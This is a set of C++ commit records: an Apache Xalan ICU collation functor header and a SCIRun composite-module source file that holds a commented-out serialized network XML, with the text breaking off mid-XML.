theStruct.m_collator;\n\t\t\t}\n\t\t};\n\n\t\tstruct CollatorFindFunctor\n\t\t{\n\t\t\tCollatorFindFunctor(const XalanDOMChar*\ttheLocale) :\n\t\t\t\tm_locale(theLocale)\n\t\t\t{\n\t\t\t}\n\n\t\t\tbool\n\t\t\toperator()(CollationCacheStruct&\ttheStruct) const\n\t\t\t{\n\t\t\t\treturn XalanDOMString::equals(theStruct.m_locale ,m_locale);\n\t\t\t}\n\n\t\t\tconst XalanDOMChar* const\tm_locale;\n\t\t};\n\t};\n\n#if defined(XALAN_NO_STD_NAMESPACE)\n\ttypedef list<CollationCacheStruct>\t\t\tCollatorCacheListType;\n#else\n\ttypedef std::list<CollationCacheStruct>\t\tCollatorCacheListType;\n#endif\n\n\tenum { eCacheMax = 10 };\n\nprivate:\n\n\tint\n\tdoDefaultCompare(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS) const;\n\n\tint\n\tdoCompare(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const;\n\n\tint\n\tdoCompareCached(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const;\n\n\tint\n\tdoCompare(\n\t\t\tconst CollatorType&\t\ttheCollator,\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS) const;\n\n\tint\n\tdoCompare(\n\t\t\tCollatorType&\t\t\ttheCollator,\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const;\n\n\tCollatorType*\n\tgetCachedCollator(const XalanDOMChar*\ttheLocale) const;\n\n\tvoid\n\tcacheCollator(\n\t\t\tCollatorType*\t\t\ttheCollator,\n\t\t\tconst XalanDOMChar*\t\ttheLocale) const;\n\n\n\t\/\/ Data members...\n\tbool\t\t\t\t\t\t\tm_isValid;\n\n\tCollatorType*\t\t\t\t\tm_defaultCollator;\n\n\tXalanDOMString\t\t\t\t\tm_defaultCollatorLocaleName;\n\n\tbool\t\t\t\t\t\t\tm_cacheCollators;\n\n\tmutable CollatorCacheListType\tm_collatorCache;\n\n\tconst static StylesheetExecutionContextDefault::DefaultCollationCompareFunctor\ts_defaultFunctor;\n};\n\n\n\nXALAN_CPP_NAMESPACE_END\n\n\n\n#endif\t\/\/ ICUBRIDGE_COLLATIONCOMPAREFUNCTORIMPL_GUARD_1357924680\n<commit_msg>Added operators for brain-dead compilers.<commit_after>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 2000-2002 The Apache Software Foundation. All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n * if any, must include the following acknowledgment: \n * \"This product includes software developed by the\n * Apache Software Foundation (http:\/\/www.apache.org\/).\"\n * Alternately, this acknowledgment may appear in the software itself,\n * if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n * not be used to endorse or promote products derived from this\n * software without prior written permission. For written \n * permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n * nor may \"Apache\" appear in their name, without prior written\n * permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com. For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n#if !defined(ICUBRIDGE_COLLATIONCOMPAREFUNCTORIMPL_GUARD_1357924680)\n#define ICUBRIDGE_COLLATIONCOMPAREFUNCTORIMPL_GUARD_1357924680\n\n\n\n#include <ICUBridge\/ICUBridgeDefinitions.hpp>\n\n\n\n#include <list>\n\n\n\n#include <XSLT\/StylesheetExecutionContextDefault.hpp>\n\n\n\n#include <unicode\/coll.h>\n\n\n\n\nXALAN_CPP_NAMESPACE_BEGIN\n\n\n\nclass XALAN_ICUBRIDGE_EXPORT ICUBridgeCollationCompareFunctorImpl : public StylesheetExecutionContextDefault::CollationCompareFunctor\n{\npublic:\n\n\ttypedef StylesheetExecutionContextDefault::eCaseOrder\teCaseOrder;\n\n\n\t\/**\n\t * Constructor.\n\t * \n\t * @param fCacheCollators If true, the instance will cache collators. This is not thread-safe, so each thread must have its own instance.\n\t *\/\n\tICUBridgeCollationCompareFunctorImpl(bool\tfCacheCollators = false);\n\n\t~ICUBridgeCollationCompareFunctorImpl();\n\n\tint\n\toperator()(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder = StylesheetExecutionContextDefault::eDefault) const;\n\n\tint\n\toperator()(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder = StylesheetExecutionContextDefault::eDefault) const;\n\n\tbool\n\tisValid() const\n\t{\n\t\treturn m_isValid;\n\t}\n\n#if defined(XALAN_HAS_CPP_NAMESPACE)\n\ttypedef U_ICU_NAMESPACE::Collator\tCollatorType;\n#else\n\ttypedef Collator\t\t\t\t\tCollatorType;\n#endif\n\n\tstruct CollationCacheStruct\n\t{\n\t\tCollationCacheStruct(\n\t\t\t\tconst XalanDOMString&\ttheLocale,\n\t\t\t\tCollatorType*\t\t\ttheCollator) :\n\t\t\tm_locale(theLocale),\n\t\t\tm_collator(theCollator)\n\t\t{\n\t\t}\n\n\t\tCollationCacheStruct() :\n\t\t\tm_locale(),\n\t\t\tm_collator(0)\n\t\t{\n\t\t}\n\n\t\tvoid\n\t\tswap(CollationCacheStruct&\ttheOther)\n\t\t{\n\t\t\tm_locale.swap(theOther.m_locale);\n\n\t\t\tCollatorType* const\t\ttheTemp = m_collator;\n\n\t\t\tm_collator = theOther.m_collator;\n\n\t\t\ttheOther.m_collator = theTemp;\n\t\t}\n\n#if defined(XALAN_NO_SELECTIVE_TEMPLATE_INSTANTIATION)\n\t\tbool\n\t\toperator<(const CollationCacheStruct& theRHS) const\n\t\t{\n\t\t\treturn this < &theRHS;\n\t\t}\n\n\t\tbool\n\t\toperator==(const CollationCacheStruct&\ttheRHS) const\n\t\t{\n\t\t\treturn this == &theRHS;\n\t\t}\n#endif\n\n\t\tXalanDOMString\tm_locale;\n\n\t\tCollatorType*\tm_collator;\n\n\t\tstruct CollatorDeleteFunctor\n\t\t{\n\t\t\tvoid\n\t\t\toperator()(CollationCacheStruct&\ttheStruct) const\n\t\t\t{\n\t\t\t\tdelete theStruct.m_collator;\n\t\t\t}\n\t\t};\n\n\t\tstruct CollatorFindFunctor\n\t\t{\n\t\t\tCollatorFindFunctor(const XalanDOMChar*\ttheLocale) :\n\t\t\t\tm_locale(theLocale)\n\t\t\t{\n\t\t\t}\n\n\t\t\tbool\n\t\t\toperator()(CollationCacheStruct&\ttheStruct) const\n\t\t\t{\n\t\t\t\treturn XalanDOMString::equals(theStruct.m_locale ,m_locale);\n\t\t\t}\n\n\t\t\tconst XalanDOMChar* const\tm_locale;\n\t\t};\n\t};\n\n#if defined(XALAN_NO_STD_NAMESPACE)\n\ttypedef list<CollationCacheStruct>\t\t\tCollatorCacheListType;\n#else\n\ttypedef std::list<CollationCacheStruct>\t\tCollatorCacheListType;\n#endif\n\n\tenum { eCacheMax = 10 };\n\nprivate:\n\n\tint\n\tdoDefaultCompare(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS) const;\n\n\tint\n\tdoCompare(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const;\n\n\tint\n\tdoCompareCached(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const;\n\n\tint\n\tdoCompare(\n\t\t\tconst CollatorType&\t\ttheCollator,\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS) const;\n\n\tint\n\tdoCompare(\n\t\t\tCollatorType&\t\t\ttheCollator,\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const;\n\n\tCollatorType*\n\tgetCachedCollator(const XalanDOMChar*\ttheLocale) const;\n\n\tvoid\n\tcacheCollator(\n\t\t\tCollatorType*\t\t\ttheCollator,\n\t\t\tconst XalanDOMChar*\t\ttheLocale) const;\n\n\n\t\/\/ Data members...\n\tbool\t\t\t\t\t\t\tm_isValid;\n\n\tCollatorType*\t\t\t\t\tm_defaultCollator;\n\n\tXalanDOMString\t\t\t\t\tm_defaultCollatorLocaleName;\n\n\tbool\t\t\t\t\t\t\tm_cacheCollators;\n\n\tmutable CollatorCacheListType\tm_collatorCache;\n\n\tconst static StylesheetExecutionContextDefault::DefaultCollationCompareFunctor\ts_defaultFunctor;\n};\n\n\n\nXALAN_CPP_NAMESPACE_END\n\n\n\n#endif\t\/\/ ICUBRIDGE_COLLATIONCOMPAREFUNCTORIMPL_GUARD_1357924680\n<|endoftext|>"} {"text":"<commit_before>\/*\n For more information, please see: http:\/\/software.sci.utah.edu\n\n The MIT License\n\n Copyright (c) 2020 Scientific Computing and Imaging Institute,\n University of Utah.\n\n Permission is hereby granted, free of charge, to any person obtaining a\n copy of this software and associated documentation files (the \"Software\"),\n to deal in the Software without restriction, including without limitation\n the rights to use, copy, modify, merge, publish, distribute, sublicense,\n and\/or sell copies of the Software, and to permit persons to whom the\n Software is furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included\n in all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n DEALINGS IN THE SOFTWARE.\n*\/\n\n\n#include <Modules\/Legacy\/Fields\/CompositeModuleTestGFB_FM.h>\n#include <Dataflow\/Network\/NetworkInterface.h>\n\nusing namespace SCIRun::Modules::Fields;\nusing namespace SCIRun;\n\nMODULE_INFO_DEF(CompositeModuleTestGFB_FM, MiscField, SCIRun)\n\nCompositeModuleTestGFB_FM::CompositeModuleTestGFB_FM() : Module(staticInfo_, false)\n{\n INITIALIZE_PORT(InputField);\n INITIALIZE_PORT(FairedMesh);\n}\n\nvoid CompositeModuleTestGFB_FM::setStateDefaults()\n{\n auto state = get_state();\n \/*\n state->setValue(Variables::FunctionString, std::string(\n\"<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\" ?>\n<!DOCTYPE boost_serialization>\n<boost_serialization signature=\"serialization::archive\" version=\"18\">\n<networkFragment class_id=\"0\" tracking_level=\"0\" version=\"6\">\n\t<networkInfo class_id=\"1\" tracking_level=\"0\" version=\"0\">\n\t\t<modules class_id=\"2\" tracking_level=\"0\" version=\"0\">\n\t\t\t<count>2<\/count>\n\t\t\t<item_version>0<\/item_version>\n\t\t\t<item class_id=\"3\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t<first>FairMesh:0<\/first>\n\t\t\t\t<second class_id=\"4\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t\t<module class_id=\"5\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t\t\t<package_name_>SCIRun<\/package_name_>\n\t\t\t\t\t\t<category_name_>NewField<\/category_name_>\n\t\t\t\t\t\t<module_name_>FairMesh<\/module_name_>\n\t\t\t\t\t<\/module>\n\t\t\t\t\t<state class_id=\"6\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t\t\t<stateMap class_id=\"7\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t\t\t\t<count>5<\/count>\n\t\t\t\t\t\t\t<item_version>0<\/item_version>\n\t\t\t\t\t\t\t<item class_id=\"8\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t\t\t\t\t<first class_id=\"9\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t\t\t\t\t\t<name>FairMeshMethod<\/name>\n\t\t\t\t\t\t\t\t<\/first>\n\t\t\t\t\t\t\t\t<second class_id=\"10\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t\t\t\t\t\t<name>FairMeshMethod<\/name>\n\t\t\t\t\t\t\t\t\t<value class_id=\"11\" tracking_level=\"1\" version=\"0\" object_id=\"_0\">\n\t\t\t\t\t\t\t\t\t\t<which>2<\/which>\n\t\t\t\t\t\t\t\t\t\t<value>fast<\/value>\n\t\t\t\t\t\t\t\t\t<\/value>\n\t\t\t\t\t\t\t\t<\/second>\n\t\t\t\t\t\t\t<\/item>\n\t\t\t\t\t\t\t<item>\n\t\t\t\t\t\t\t\t<first>\n\t\t\t\t\t\t\t\t\t<name>FilterCutoff<\/name>\n\t\t\t\t\t\t\t\t<\/first>\n\t\t\t\t\t\t\t\t<second>\n\t\t\t\t\t\t\t\t\t<name>FilterCutoff<\/name>\n\t\t\t\t\t\t\t\t\t<value object_id=\"_1\">\n\t\t\t\t\t\t\t\t\t\t<which>1<\/which>\n\t\t\t\t\t\t\t\t\t\t<value>1.00000000000000006e-01<\/value>\n\t\t\t\t\t\t\t\t\t<\/value>\n\t\t\t\t\t\t\t\t<\/second>\n\t\t\t\t\t\t\t<\/item>\n\t\t\t\t\t\t\t<item>\n\t\t\t\t\t\t\t\t<first>\n\t\t\t\t\t\t\t\t\t<name>Lambda<\/name>\n\t\t\t\t\t\t\t\t<\/first>\n\t\t\t\t\t\t\t\t<second>\n\t\t\t\t\t\t\t\t\t<name>Lambda<\/name>\n\t\t\t\t\t\t\t\t\t<value object_id=\"_2\">\n\t\t\t\t\t\t\t\t\t\t<which>1<\/which>\n\t\t\t\t\t\t\t\t\t\t<value>6.30700000000000038e-01<\/value>\n\t\t\t\t\t\t\t\t\t<\/value>\n\t\t\t\t\t\t\t\t<\/second>\n\t\t\t\t\t\t\t<\/item>\n\t\t\t\t\t\t\t<item>\n\t\t\t\t\t\t\t\t<first>\n\t\t\t\t\t\t\t\t\t<name>NumIterations<\/name>\n\t\t\t\t\t\t\t\t<\/first>\n\t\t\t\t\t\t\t\t<second>\n\t\t\t\t\t\t\t\t\t<name>NumIterations<\/name>\n\t\t\t\t\t\t\t\t\t<value object_id=\"_3\">\n\t\t\t\t\t\t\t\t\t\t<which>0<\/which>\n\t\t\t\t\t\t\t\t\t\t<value>50<\/value>\n\t\t\t\t\t\t\t\t\t<\/value>\n\t\t\t\t\t\t\t\t<\/second>\n\t\t\t\t\t\t\t<\/item>\n\t\t\t\t\t\t\t<item>\n\t\t\t\t\t\t\t\t<first>\n\t\t\t\t\t\t\t\t\t<name>ProgrammableInputPortEnabled<\/name>\n\t\t\t\t\t\t\t\t<\/first>\n\t\t\t\t\t\t\t\t<second>\n\t\t\t\t\t\t\t\t\t<name>ProgrammableInputPortEnabled<\/name>\n\t\t\t\t\t\t\t\t\t<value object_id=\"_4\">\n\t\t\t\t\t\t\t\t\t\t<which>3<\/which>\n\t\t\t\t\t\t\t\t\t\t<value>0<\/value>\n\t\t\t\t\t\t\t\t\t<\/value>\n\t\t\t\t\t\t\t\t<\/second>\n\t\t\t\t\t\t\t<\/item>\n\t\t\t\t\t\t<\/stateMap>\n\t\t\t\t\t<\/state>\n\t\t\t\t<\/second>\n\t\t\t<\/item>\n\t\t\t<item>\n\t\t\t\t<first>GetFieldBoundary:0<\/first>\n\t\t\t\t<second>\n\t\t\t\t\t<module>\n\t\t\t\t\t\t<package_name_>SCIRun<\/package_name_>\n\t\t\t\t\t\t<category_name_>NewField<\/category_name_>\n\t\t\t\t\t\t<module_name_>GetFieldBoundary<\/module_name_>\n\t\t\t\t\t<\/module>\n\t\t\t\t\t<state>\n\t\t\t\t\t\t<stateMap>\n\t\t\t\t\t\t\t<count>1<\/count>\n\t\t\t\t\t\t\t<item_version>0<\/item_version>\n\t\t\t\t\t\t\t<item>\n\t\t\t\t\t\t\t\t<first>\n\t\t\t\t\t\t\t\t\t<name>ProgrammableInputPortEnabled<\/name>\n\t\t\t\t\t\t\t\t<\/first>\n\t\t\t\t\t\t\t\t<second>\n\t\t\t\t\t\t\t\t\t<name>ProgrammableInputPortEnabled<\/name>\n\t\t\t\t\t\t\t\t\t<value object_id=\"_5\">\n\t\t\t\t\t\t\t\t\t\t<which>3<\/which>\n\t\t\t\t\t\t\t\t\t\t<value>0<\/value>\n\t\t\t\t\t\t\t\t\t<\/value>\n\t\t\t\t\t\t\t\t<\/second>\n\t\t\t\t\t\t\t<\/item>\n\t\t\t\t\t\t<\/stateMap>\n\t\t\t\t\t<\/state>\n\t\t\t\t<\/second>\n\t\t\t<\/item>\n\t\t<\/modules>\n\t\t<connections class_id=\"12\" tracking_level=\"0\" version=\"0\">\n\t\t\t<count>1<\/count>\n\t\t\t<item_version>0<\/item_version>\n\t\t\t<item class_id=\"13\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t<moduleId1_>GetFieldBoundary:0<\/moduleId1_>\n\t\t\t\t<port1_ class_id=\"14\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t\t<name>BoundaryField<\/name>\n\t\t\t\t\t<id>0<\/id>\n\t\t\t\t<\/port1_>\n\t\t\t\t<moduleId2_>FairMesh:0<\/moduleId2_>\n\t\t\t\t<port2_>\n\t\t\t\t\t<name>Input_Mesh<\/name>\n\t\t\t\t\t<id>0<\/id>\n\t\t\t\t<\/port2_>\n\t\t\t<\/item>\n\t\t<\/connections>\n\t<\/networkInfo>\n\t<modulePositions class_id=\"15\" tracking_level=\"0\" version=\"0\">\n\t\t<count>2<\/count>\n\t\t<item_version>0<\/item_version>\n\t\t<item class_id=\"16\" tracking_level=\"0\" version=\"0\">\n\t\t\t<first>FairMesh:0<\/first>\n\t\t\t<second class_id=\"17\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t<first>-4.90000000000000000e+02<\/first>\n\t\t\t\t<second>-3.80000000000000000e+02<\/second>\n\t\t\t<\/second>\n\t\t<\/item>\n\t\t<item>\n\t\t\t<first>GetFieldBoundary:0<\/first>\n\t\t\t<second>\n\t\t\t\t<first>-5.32000000000000000e+02<\/first>\n\t\t\t\t<second>-4.56000000000000000e+02<\/second>\n\t\t\t<\/second>\n\t\t<\/item>\n\t<\/modulePositions>\n\t<moduleNotes class_id=\"18\" tracking_level=\"0\" version=\"0\">\n\t\t<count>0<\/count>\n\t\t<item_version>0<\/item_version>\n\t<\/moduleNotes>\n\t<connectionNotes>\n\t\t<count>0<\/count>\n\t\t<item_version>0<\/item_version>\n\t<\/connectionNotes>\n\t<moduleTags class_id=\"19\" tracking_level=\"0\" version=\"0\">\n\t\t<count>2<\/count>\n\t\t<item_version>0<\/item_version>\n\t\t<item class_id=\"20\" tracking_level=\"0\" version=\"0\">\n\t\t\t<first>FairMesh:0<\/first>\n\t\t\t<second>-1<\/second>\n\t\t<\/item>\n\t\t<item>\n\t\t\t<first>GetFieldBoundary:0<\/first>\n\t\t\t<second>-1<\/second>\n\t\t<\/item>\n\t<\/moduleTags>\n\t<disabledModules class_id=\"21\" tracking_level=\"0\" version=\"0\">\n\t\t<count>0<\/count>\n\t\t<item_version>0<\/item_version>\n\t<\/disabledModules>\n\t<disabledConnections>\n\t\t<count>0<\/count>\n\t\t<item_version>0<\/item_version>\n\t<\/disabledConnections>\n\t<moduleTagLabels class_id=\"22\" tracking_level=\"0\" version=\"0\">\n\t\t<count>0<\/count>\n\t\t<item_version>0<\/item_version>\n\t<\/moduleTagLabels>\n\t<loadTagGroups>0<\/loadTagGroups>\n\t<subnetworks class_id=\"23\" tracking_level=\"0\" version=\"0\">\n\t\t<count>0<\/count>\n\t\t<item_version>0<\/item_version>\n\t<\/subnetworks>\n<\/networkFragment>\n<\/boost_serialization>\n\n\" ));\n*\/\n\n}\n\nvoid CompositeModuleTestGFB_FM::execute()\n{\n remark(\"Basic composite module concept part 1\");\n\n auto subNet = network()->createSubnetwork();\n if (subNet)\n {\n remark(\"Subnet created.\");\n }\n else\n {\n error(\"Subnet null\");\n return;\n }\n if (!subNet->getNetwork())\n {\n error(\"Subnet's network state is null\");\n return;\n }\n auto gfb = subNet->addModule({\"GetFieldBoundary\", \"...\", \",,,\"});\n auto fm = subNet->addModule({\"FairMesh\", \"...\", \",,,\"});\n if (subNet->getNetwork()->nmodules() == 2)\n {\n remark(\"Created subnet with 2 modules\");\n }\n else\n {\n error(\"Subnet missing modules\");\n return;\n }\n}\n<commit_msg>Internal connection made<commit_after>\/*\n For more information, please see: http:\/\/software.sci.utah.edu\n\n The MIT License\n\n Copyright (c) 2020 Scientific Computing and Imaging Institute,\n University of Utah.\n\n Permission is hereby granted, free of charge, to any person obtaining a\n copy of this software and associated documentation files (the \"Software\"),\n to deal in the Software without restriction, including without limitation\n the rights to use, copy, modify, merge, publish, distribute, sublicense,\n and\/or sell copies of the Software, and to permit persons to whom the\n Software is furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included\n in all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n DEALINGS IN THE SOFTWARE.\n*\/\n\n\n#include <Modules\/Legacy\/Fields\/CompositeModuleTestGFB_FM.h>\n#include <Dataflow\/Network\/NetworkInterface.h>\n#include <Dataflow\/Network\/ConnectionId.h>\n\nusing namespace SCIRun::Modules::Fields;\nusing namespace SCIRun;\n\nMODULE_INFO_DEF(CompositeModuleTestGFB_FM, MiscField, SCIRun)\n\nCompositeModuleTestGFB_FM::CompositeModuleTestGFB_FM() : Module(staticInfo_, false)\n{\n INITIALIZE_PORT(InputField);\n INITIALIZE_PORT(FairedMesh);\n}\n\nvoid CompositeModuleTestGFB_FM::setStateDefaults()\n{\n auto state = get_state();\n \/*\n state->setValue(Variables::FunctionString, std::string(\n\"<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\" ?>\n<!DOCTYPE boost_serialization>\n<boost_serialization signature=\"serialization::archive\" version=\"18\">\n<networkFragment class_id=\"0\" tracking_level=\"0\" version=\"6\">\n\t<networkInfo class_id=\"1\" tracking_level=\"0\" version=\"0\">\n\t\t<modules class_id=\"2\" tracking_level=\"0\" version=\"0\">\n\t\t\t<count>2<\/count>\n\t\t\t<item_version>0<\/item_version>\n\t\t\t<item class_id=\"3\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t<first>FairMesh:0<\/first>\n\t\t\t\t<second class_id=\"4\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t\t<module class_id=\"5\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t\t\t<package_name_>SCIRun<\/package_name_>\n\t\t\t\t\t\t<category_name_>NewField<\/category_name_>\n\t\t\t\t\t\t<module_name_>FairMesh<\/module_name_>\n\t\t\t\t\t<\/module>\n\t\t\t\t\t<state class_id=\"6\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t\t\t<stateMap class_id=\"7\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t\t\t\t<count>5<\/count>\n\t\t\t\t\t\t\t<item_version>0<\/item_version>\n\t\t\t\t\t\t\t<item class_id=\"8\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t\t\t\t\t<first class_id=\"9\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t\t\t\t\t\t<name>FairMeshMethod<\/name>\n\t\t\t\t\t\t\t\t<\/first>\n\t\t\t\t\t\t\t\t<second class_id=\"10\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t\t\t\t\t\t<name>FairMeshMethod<\/name>\n\t\t\t\t\t\t\t\t\t<value class_id=\"11\" tracking_level=\"1\" version=\"0\" object_id=\"_0\">\n\t\t\t\t\t\t\t\t\t\t<which>2<\/which>\n\t\t\t\t\t\t\t\t\t\t<value>fast<\/value>\n\t\t\t\t\t\t\t\t\t<\/value>\n\t\t\t\t\t\t\t\t<\/second>\n\t\t\t\t\t\t\t<\/item>\n\t\t\t\t\t\t\t<item>\n\t\t\t\t\t\t\t\t<first>\n\t\t\t\t\t\t\t\t\t<name>FilterCutoff<\/name>\n\t\t\t\t\t\t\t\t<\/first>\n\t\t\t\t\t\t\t\t<second>\n\t\t\t\t\t\t\t\t\t<name>FilterCutoff<\/name>\n\t\t\t\t\t\t\t\t\t<value object_id=\"_1\">\n\t\t\t\t\t\t\t\t\t\t<which>1<\/which>\n\t\t\t\t\t\t\t\t\t\t<value>1.00000000000000006e-01<\/value>\n\t\t\t\t\t\t\t\t\t<\/value>\n\t\t\t\t\t\t\t\t<\/second>\n\t\t\t\t\t\t\t<\/item>\n\t\t\t\t\t\t\t<item>\n\t\t\t\t\t\t\t\t<first>\n\t\t\t\t\t\t\t\t\t<name>Lambda<\/name>\n\t\t\t\t\t\t\t\t<\/first>\n\t\t\t\t\t\t\t\t<second>\n\t\t\t\t\t\t\t\t\t<name>Lambda<\/name>\n\t\t\t\t\t\t\t\t\t<value object_id=\"_2\">\n\t\t\t\t\t\t\t\t\t\t<which>1<\/which>\n\t\t\t\t\t\t\t\t\t\t<value>6.30700000000000038e-01<\/value>\n\t\t\t\t\t\t\t\t\t<\/value>\n\t\t\t\t\t\t\t\t<\/second>\n\t\t\t\t\t\t\t<\/item>\n\t\t\t\t\t\t\t<item>\n\t\t\t\t\t\t\t\t<first>\n\t\t\t\t\t\t\t\t\t<name>NumIterations<\/name>\n\t\t\t\t\t\t\t\t<\/first>\n\t\t\t\t\t\t\t\t<second>\n\t\t\t\t\t\t\t\t\t<name>NumIterations<\/name>\n\t\t\t\t\t\t\t\t\t<value object_id=\"_3\">\n\t\t\t\t\t\t\t\t\t\t<which>0<\/which>\n\t\t\t\t\t\t\t\t\t\t<value>50<\/value>\n\t\t\t\t\t\t\t\t\t<\/value>\n\t\t\t\t\t\t\t\t<\/second>\n\t\t\t\t\t\t\t<\/item>\n\t\t\t\t\t\t\t<item>\n\t\t\t\t\t\t\t\t<first>\n\t\t\t\t\t\t\t\t\t<name>ProgrammableInputPortEnabled<\/name>\n\t\t\t\t\t\t\t\t<\/first>\n\t\t\t\t\t\t\t\t<second>\n\t\t\t\t\t\t\t\t\t<name>ProgrammableInputPortEnabled<\/name>\n\t\t\t\t\t\t\t\t\t<value 